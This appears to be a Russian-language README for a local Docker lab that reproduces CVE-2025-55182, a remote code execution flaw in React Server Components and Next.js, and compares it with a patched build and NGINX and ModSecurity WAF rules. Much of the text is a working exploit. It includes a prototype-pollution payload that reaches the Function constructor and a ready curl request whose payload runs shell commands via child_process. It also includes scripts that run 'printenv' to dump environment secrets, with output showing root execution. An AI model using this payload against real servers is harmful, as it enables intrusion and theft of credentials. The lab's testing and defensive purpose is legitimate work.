🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

// Структура полезной нагрузки атаки
{
  "then": "$1:__proto__:then",           // Загрязнение Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Триггер десериализации Blob
  "_response": {
    "_prefix": "вредоносный_код",         // Выполняемый код
    "_formData": {
      "get": "$1:constructor:constructor"  // Доступ к конструктору функции
    }
  }
}

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

.\run-tests.ps1 status

# Способ 1: использование PowerShell-скрипта (рекомендуется)
.\tests\exploit-working.ps1

# Способ 2: прямой запуск Node.js
node tests\exploit-working.js

### Шаг 4: Проверка результатов

Результаты выполнения команд можно увидеть в логах сервера:

```bash
docker compose logs vulnerable-app --tail=20

# PowerShell-скрипт (рекомендуется)
.\tests\exploit-working.ps1

# Или прямой запуск Node.js
node tests\exploit-working.js

# Создание файла с полезной нагрузкой
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Отправка атаки
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Проверка выполнения в логах
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

// В файле exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Список директории приложения' },
  { name: 'env', cmd: 'printenv', desc: 'Вывод переменных окружения' }
]

# Запуск работающей атаки
node tests/exploit-working.js

# Ожидаемый результат: успешное выполнение команд
# Вывод: информация о пользователе, детали системы и т.д.

# Использование PowerShell-скрипта
.\tests\exploit-working.ps1 -Port 3001

# Попытка атаки через NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

# Тест блокировки NGINX
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# Ожидаемый ответ: HTTP 403

# Тест блокировки ModSecurity
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# Ожидаемый ответ: HTTP 403

# Логи безопасности NGINX
docker compose exec nginx tail -f /var/log/nginx/security.log

# Логи аудита Apache ModSecurity
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Конфигурация Docker-среды
├── run-tests.ps1                       # Скрипт запуска для Windows
├── run-tests.sh                        # Скрипт запуска для Linux/Mac
│
├── vulnerable-app/                     # Приложение с уязвимой версией
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # Базовый макет
│   │   ├── page.js                     # Главная страница
│   │   └── api/
│   │       └── health/                 # Эндпоинт проверки здоровья
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # Приложение с исправленной версией
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # Скрипты атак
│   ├── exploit-working.js              # RCE-атака (Node.js)
│   ├── exploit-working.ps1             # RCE-атака (PowerShell)
│   └── exploit-working.cmd             # RCE-атака (пакетный файл)
│
├── nginx/                              # Настройка NGINX WAF
│   ├── nginx.conf                      # Правила блокировки CVE-2025-55182
│   └── nginx-patched.conf              # Настройка прокси
│
└── apache/                             # Настройка Apache ModSecurity
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # Правила блокировки ModSecurity

[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

# Мониторинг логов в реальном времени
docker compose logs -f vulnerable-app

# Что нужно проверить:
# [EXPLOIT] Executing: whoami
# [RESULT] root

# Проверка, была ли выполнена атака
docker compose exec vulnerable-app ps aux | grep node

# Проверка изменений в файловой системе (если файл был создан)
docker compose exec vulnerable-app ls -la /tmp

# Тестирование с исправленной версией
.\tests\exploit-working.ps1 -Port 3001

# Или
$env:TARGET_PORT=3001; node tests\exploit-working.js

# Тестирование с исправленной версией
TARGET_PORT=3001 node tests/exploit-working.js

# Запуск
.\run-tests.ps1 start

# Проверка состояния
.\run-tests.ps1 status

# Просмотр логов
.\run-tests.ps1 logs

# Остановка
.\run-tests.ps1 stop

# Сброс (удаление всех контейнеров и томов)
.\run-tests.ps1 clean

# 1. Проверка версий
docker compose exec vulnerable-app npm list react next

# Должно отобразиться:
# [email protected]
# [email protected]

# 2. Проверка ответа сервера
curl http://localhost:3000

# 3. Проверка логов Docker
docker compose logs vulnerable-app --tail=50

# 4. Перезапуск контейнера
docker compose restart vulnerable-app

# Фильтрация логов в PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Невозможно выполнить сценарий в этой системе...

# Применяется только к текущей сессии
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Или прямой запуск
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

docker compose ps

# Проверка процесса, использующего порт
netstat -ano | findstr :3000

# Завершение процесса (после определения PID)
taskkill /PID <PID> /F

# Изменение портов для устранения конфликта
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # изменение с 3000 на 3010

# Проверка конфигурации NGINX
docker compose exec nginx nginx -t

# Проверка конфигурации Apache
docker compose exec apache apachectl configtest

# Просмотр логов
docker compose logs nginx --tail=30
docker compose logs apache --tail=30